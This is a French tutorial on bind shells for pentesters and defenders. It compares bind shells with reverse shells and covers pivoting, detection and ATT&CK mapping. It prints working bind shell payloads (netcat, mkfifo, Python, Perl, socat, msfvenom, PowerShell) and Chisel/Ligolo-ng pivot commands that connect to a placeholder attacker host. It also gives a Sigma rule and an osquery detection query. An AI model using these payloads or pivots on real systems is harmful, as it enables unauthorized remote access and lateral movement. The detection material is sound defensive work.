Un bind shell ouvre un port d'écoute sur la machine compromise, l'attaquant s'y connecte directement, l'inverse du reverse shell (qui établit la connexion sortante depuis la cible). En 2026, le bind shell est largement supplanté : ~5% des engagements pentest l'utilisent en première intention, contre 90%+ pour le reverse shell, parce que les firewalls périmétriques bloquent par défaut tout port d'écoute entrant. Mais le bind shell survit dans 4 cas spécifiques : (1) pivot interne LAN segmenté (machine A compromise, ouvrir bind shell sur machine B accessible depuis A), (2) pas d'IP publique attaquant (laptop derrière NAT lourd sans tunneling), (3) egress filtering strict (firewall sortant restrictif), (4) persistence latente sans beaconing. Outillage 2026 : nc -lvnp 4444 -e /bin/bash (legacy mais largement présent), msfvenom -p linux/x64/shell_bind_tcp (Metasploit Rapid7, binaires ELF/PE), socat OPENSSL-LISTEN:443 (TLS encrypted). Pour pivot durable on bascule sur Chisel (Jeremy Pelt, OSS MIT, Go) ou Ligolo-ng (Nicolas Chatelain, OSS GPL, Go), interfaces tun virtuelles + SOCKS5 qui surclassent largement le bind shell brut. Côté défense : MITRE ATT&CK T1090 (Proxy), T1571 (Non-Standard Port), T1572 (Protocol Tunneling) cataloguent les patterns ; Zeek scan-detection.zeek + osquery process_listening + EDR network detectent ~85% des bind shells génériques. Cet article documente les cas d'usage opérationnels, les payloads canoniques, le virage vers Chisel/Ligolo, le mapping ATT&CK, et les anti-patterns persistants, toujours dans un cadre strictement autorisé (CTF, pentest contractuel, red team mandaté).
Pour la vue d'ensemble : voir Reverse shell : payloads, stabilisation et détection SOC. Pour la détection : EDR.
Le bon mental model : bind shell = canal entrant statique
Erreur conceptuelle fréquente : opposer bind shell et reverse shell comme deux « techniques » alternatives. Faux. Ce sont deux directions de connexion différentes adaptées à des contraintes réseau différentes.
| Direction | Bind shell | Reverse shell |
|---|---|---|
| Initiateur connexion | Attaquant | Cible (compromise) |
| Port ouvert sur | Cible | Attaquant |
| Bypass firewall périmétrique entrant | ❌ | ✅ |
| Bypass NAT/proxy attaquant | ✅ | ❌ |
| Détection scan port | Facile (port LISTEN visible) | Plus difficile (connexion sortante) |
| Persistence stealth | Mauvaise (signature port) | Mauvaise aussi (beaconing) |
| Cas d'usage typique 2026 | Pivot interne LAN | Engagement externe Internet |
Le piège opérationnel : croire qu'un bind shell est plus « furtif » parce qu'il n'émet pas de trafic sortant. Faux à nouveau. Un port LISTEN inhabituel est plus voyant qu'une connexion sortante TLS bien camouflée vers une IP cloud légitime. Le bind shell est silencieux quand inactif, mais scannable dès le premier nmap interne du SOC. Le reverse shell est bruyant à l'établissement mais peut se fondre dans le trafic HTTPS légitime.
Cas d'usage opérationnel : pivot interne segmenté
Scénario type pentest interne 2026, le cas légitime principal du bind shell :
Internet
|
v
[FW périmétrique] (filtre tout entrant sauf 443)
|
v
[DMZ web server compromise A] ← reverse shell vers attaquant
|
v
[LAN segmenté: pas d'accès Internet sortant direct]
|
v
[Server B: AD, DB, file shares] ← bind shell sur 4444
L'attaquant a établi reverse shell depuis A vers son C2 externe. A est dans la DMZ avec accès limité au LAN interne. Pour atteindre B :
- Depuis A (via reverse shell stable), reconnaissance LAN :
nmapou bash one-liner ping sweep. - Identification B accessible (TCP 22 ou 445).
- Compromission B (par RCE, credential reuse depuis A, lateral movement Pass-the-Hash).
- Choix : bind shell sur B (4444) ou reverse shell de B vers A (et A relay vers C2).
Le bind shell sur B se justifie quand :
- B n'a pas d'accès sortant direct (proxy AD obligatoire, sortie filtrée).
- A a déjà une session reverse vers C2 stable, donc pas besoin d'un canal supplémentaire de B vers Internet.
- L'opération est courte (heures) et la persistence sophistiquée n'est pas le but.
Workflow concret :
# Sur B (depuis A via lateral movement)
nc -lvnp 4444 -e /bin/bash & # bind shell, ou variante mkfifo si nc legacy
# Depuis A
nc B.internal.lan 4444 # connexion directe au bind shell
# Côté C2 externe : tu vois A → B comme pivot transparent
# Si A en reverse shell stable, lateral à B reste invisible côté périmètrePayloads canoniques bind shell
# 1. Netcat traditional avec -e (Linux ancien, OpenBSD, certains routers)
nc -lvnp 4444 -e /bin/bash
# 2. Netcat OpenBSD/Debian (sans -e supprimé pour raison sécurité)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -lvp 4444 >/tmp/f
# 3. Python (le plus portable)
python3 -c 'import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(("0.0.0.0",4444))
s.listen(1)
c,a=s.accept()
[os.dup2(c.fileno(),fd) for fd in (0,1,2)]
subprocess.call(["/bin/sh","-i"])'
# 4. Socat avec TLS (recommandé en 2026)
# Génération cert auto-signé
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \
-days 30 -nodes -subj "/CN=localhost"
cat key.pem cert.pem > srv.pem
# Bind shell TLS
socat OPENSSL-LISTEN:443,cert=srv.pem,verify=0,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
# Côté attaquant (connexion)
socat - OPENSSL:cible:443,verify=0
# 5. Perl
perl -e 'use Socket;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);bind(S,sockaddr_in($p,INADDR_ANY));listen(S,1);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/sh -i");};'
# 6. msfvenom binaire ELF Linux x64
msfvenom -p linux/x64/shell_bind_tcp LPORT=4444 -f elf -o bindshell.elf
chmod +x bindshell.elf && ./bindshell.elf &
# Listener côté attaquant
msfconsole
use exploit/multi/handler
set PAYLOAD linux/x64/shell_bind_tcp
set LHOST cible.lan
set LPORT 4444
exploitVariante Windows :
# PowerShell bind shell (souvent détecté AMSI)
$listener = [System.Net.Sockets.TcpListener]4444
$listener.Start()
$client = $listener.AcceptTcpClient()
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (Invoke-Expression $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
$listener.Stop()# msfvenom Windows x64 bind shell
msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f exe -o bindshell.exeLe virage Chisel / Ligolo-ng / Sliver pivots
En 2026, les bind shells artisanaux sont remplacés par des outils de pivot dédiés. Comparatif :
| Outil | Origine | Licence | Transport | Force | Cas d'usage |
|---|---|---|---|---|---|
| Chisel | Jeremy Pelt, 2017 | OSS MIT, Go | HTTP/HTTPS WebSocket | Simple, portable, SOCKS5 | Pivot rapide CTF/pentest |
| Ligolo-ng | Nicolas Chatelain, 2022 | OSS GPL, Go | TLS | Interface tun virtuelle, UX excellente | Pivot durable red team |
| Sliver pivots | BishopFox, 2019 | OSS Apache 2.0, Go | mTLS/WireGuard/HTTP | Intégré framework C2 | Engagement red team complet |
| sshuttle | Brian May, 2010 | OSS LGPL, Python | SSH | VPN-like via SSH | Pentest avec credentials SSH |
| SSH -D / -L / -R | OpenSSH | BSD | SSH | Standard, partout dispo | Forwarding simple |
| iodine | Erik Ekman, 2006 | OSS ISC | DNS tunneling | Bypass restrictif | Réseaux ultra filtrés |
| dnscat2 | Ron Bowes, 2014 | OSS BSD | DNS tunneling | C2 + tunneling | DNS exfil + pivot |
| Mythic pivots | Cody Thomas, 2018 | OSS BSD | HTTP/SMB/TCP | Modulaire | Custom red team |
| Reverse SSH | Patrick Donnelly | OSS MIT, Go | SSH inverse | Pas de port ouvert | Pivot stealth |
Workflow Chisel pivot :
# Côté attaquant (machine externe avec IP publique)
chisel server --reverse --port 8080
# Côté machine compromise A (DMZ)
chisel client http://attaquant.com:8080 R:1080:socks # reverse SOCKS5
# Côté attaquant : connexion via SOCKS5 vers LAN cible
# Configurer proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains nmap -sT -Pn 10.10.20.0/24
proxychains smbclient -L //10.10.20.50/Workflow Ligolo-ng (post-2022, supérieur à Chisel pour pivot durable) :
# Côté attaquant, proxy server
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 10.10.20.0/24 dev ligolo
./proxy -selfcert -laddr 0.0.0.0:11601
# Côté machine compromise A, agent
./agent -connect attaquant.com:11601 -ignore-cert
# Côté attaquant, interactivité
ligolo-ng » session # liste sessions
ligolo-ng [agent-A] » start # active route
# Tu accèdes au LAN 10.10.20.0/24 comme s'il était local
nmap 10.10.20.0/24 # native, pas de proxychainsDétection SOC : les 4 signaux clés
| Signal | Outil | Implémentation | TTP ATT&CK |
|---|---|---|---|
| Port scan internes | Zeek scan-detection.zeek | Détection scan TCP > 25 hosts/min | T1046 Network Service Discovery |
| Process listening | osquery + Fleet | Query listening_ports JOIN processes | T1059, T1571 |
| EDR network module | CrowdStrike Falcon, SentinelOne | Process bind sur port atypique | T1571 Non-Standard Port |
| Anomalie compte service | UEBA Splunk, Sentinel | Compte qui exec bash + bind | T1078 Valid Accounts |
Règle Sigma type pour SIEM :
title: Suspicious Bind Shell Pattern (Linux)
status: stable
description: Detects nc/python/socat patterns indicative of bind shell on non-standard port
references:
- https://attack.mitre.org/techniques/T1571/
- https://attack.mitre.org/techniques/T1090/
logsource:
product: linux
category: process_creation
detection:
selection_nc:
Image|endswith:
- '/nc'
- '/ncat'
CommandLine|contains:
- '-lvnp'
- '-lvp'
- '-lp'
- '-e /bin/'
selection_python:
Image|contains: 'python'
CommandLine|contains:
- 's.bind('
- 's.listen('
- 'SO_REUSEADDR'
selection_socat:
Image|endswith: '/socat'
CommandLine|contains:
- 'OPENSSL-LISTEN'
- 'TCP-LISTEN'
- 'EXEC:/bin/'
selection_msf_ports:
CommandLine|contains:
- ':4444'
- ':1337'
- ':31337'
- ':9999'
condition: 1 of selection_*
falsepositives:
- Legitimate netcat for transfer (whitelist port + user)
- Test scripts (whitelist host)
level: high
tags:
- attack.command_and_control
- attack.t1571
- attack.t1090# osquery query pour détecter bind shells suspects
SELECT
p.pid,
p.name,
p.cmdline,
l.address,
l.port,
l.protocol
FROM listening_ports l
JOIN processes p ON l.pid = p.pid
WHERE
p.name IN ('bash', 'sh', 'nc', 'ncat', 'python', 'python3', 'perl', 'ruby', 'socat')
AND l.address NOT IN ('127.0.0.1', '::1')
AND l.port NOT IN (22, 80, 443, 8080, 5432);Erreurs fréquentes (côté attaquant et défenseur)
| Erreur | Côté | Symptôme | Fix |
|---|---|---|---|
| Bind shell sur port 4444 défaut Metasploit | Pentest | Détection signature instantanée | Port aléatoire 1024-65535, atypique |
| Bind shell sans TLS | Pentest | Trafic clear visible IDS | socat OPENSSL ou sliver mTLS |
| nc -e supprimé sur Debian/Ubuntu | Pentest | Commande échoue silencieusement | mkfifo fallback ou socat |
| Bind shell oublié post-engagement | Pentest | Backdoor laissée, faute pro | Cleanup obligatoire avec checklist |
| Port LISTEN visible nmap interne | Pentest | Détection SOC scan | Migrer Chisel/Ligolo-ng |
| Pas de Zeek scan-detection | SOC | Scans internes invisibles | Activer scan-detection.zeek |
| osquery pas déployé sur tous endpoints | SOC | Bind shell process inconnu | Déploiement Fleet ou Wazuh agent |
| EDR alert only en prod | SOC | Détection mais pas blocage | Bascule prevent mode après tuning |
| Pas de monitoring listening_ports | SOC | Bind shells passent inaperçus | Query horaire osquery + alerte |
| Whitelist trop permissive (bash, nc dispo partout) | SOC | Living off the land | Allowlist par hash/signing |
| Compte service avec shell interactif | SOC | Bind shell par compte service | Désactiver shell + nologin |
| Pas de microsegmentation interne | SOC | Pivot bind shell facile | Microsegmentation Calico/Illumio/VMware |
Mapping framework : bind shell dans ATT&CK
| ATT&CK ID | Tactic | Description | Pertinence bind shell |
|---|---|---|---|
| T1059 | Execution | Command and Scripting Interpreter | Direct (interpréteur exécutant le shell) |
| T1090 | Command and Control | Proxy | Direct (bind shell comme relay/proxy) |
| T1090.001 | C&C | Internal Proxy | Pivot interne |
| T1090.002 | C&C | External Proxy | Pivot externe relay |
| T1095 | C&C | Non-Application Layer Protocol | TCP raw, pas HTTP |
| T1571 | C&C | Non-Standard Port | Port 4444, 1337, etc. |
| T1572 | C&C | Protocol Tunneling | Si bind shell sert tunnel upstream |
| T1219 | C&C | Remote Access Software | Bind shell = remote access basique |
| T1133 | Initial Access | External Remote Services | Si bind shell exposé Internet (rare) |
| T1078 | Defense Evasion / Persistence | Valid Accounts | Si bind shell sous compte valide |
Pour aller plus loin
- Reverse shell : payloads, stabilisation et détection SOC, la vue d'ensemble qui couvre les deux directions et la stabilisation PTY.
- TTP (Tactics, Techniques and Procedures), pour comprendre comment bind shell s'inscrit dans la chaîne d'attaque MITRE ATT&CK.
- EDR (Endpoint Detection and Response), pour la détection au niveau host (process listening, network module).
- SIEM, pour corréler les signaux multi-sources et détecter les patterns de pivot.
- Bastion / Jump server / PAM, la couche admin qui devrait empêcher la propagation post-bind-shell.
- Sources externes : Chisel, Ligolo-ng, Sliver C2, MITRE ATT&CK T1090, Zeek scan-detection, osquery listening_ports.
Points clés à retenir
- Bind shell = port d'écoute sur la cible, attaquant s'y connecte. Inverse du reverse shell. 5% des engagements externes 2026 vs 90%+ reverse shell.
- 4 cas où bind shell reste pertinent : pivot interne LAN segmenté, pas d'IP publique attaquant, egress filtering strict, persistence latente sans beaconing.
- Payloads canoniques 2026 :
nc -lvnp 4444 -e /bin/bash(legacy, supprimé Debian/Ubuntu nc), mkfifo+nc fallback, Python socket bind,socat OPENSSL-LISTEN:443(TLS), msfvenomlinux/x64/shell_bind_tcp. - Pour pivot durable : bascule sur Chisel (Jeremy Pelt 2017, OSS MIT Go, SOCKS5 via HTTP), Ligolo-ng (Nicolas Chatelain 2022, OSS GPL Go, interface tun virtuelle), ou Sliver pivots intégrés (BishopFox 2019).
- Ports Metasploit défaut (4444, 1337, 31337, 9999) = signature détection instantanée. Toujours port aléatoire 1024-65535.
- TLS encrypted bind shell via socat OPENSSL-LISTEN, passe les IDS network mais reste détectable par EDR niveau host.
- 4 signaux SOC pour détection : Zeek scan-detection.zeek (port scans internes), osquery listening_ports JOIN processes, EDR network module (CrowdStrike, SentinelOne, Defender), UEBA anomalies compte service.
- Mapping ATT&CK clé : T1059 Command and Scripting Interpreter, T1090 Proxy (T1090.001 Internal Proxy), T1571 Non-Standard Port, T1572 Protocol Tunneling, T1219 Remote Access Software.
- Position : démarrer reverse shell pour engagement externe, basculer pivots dédiés (Chisel/Ligolo) pour internes durables. Bind shell brut réservé POC initial CTF ou fallback minimaliste.
- Anti-pattern n°1 : bind shell oublié post-engagement = backdoor laissée, faute pro grave. Cleanup obligatoire avec checklist signée.
- Anti-pattern n°2 : SOC sans Zeek scan-detection ni osquery listening_ports query récurrente → bind shells passent inaperçus dans le LAN.
- Cadre légal : pivot interne post-compromission étend la responsabilité, précise toujours machines en scope dans le contrat (loi Godfrain, article 323-1 Code pénal FR : 5 ans + 150k€).






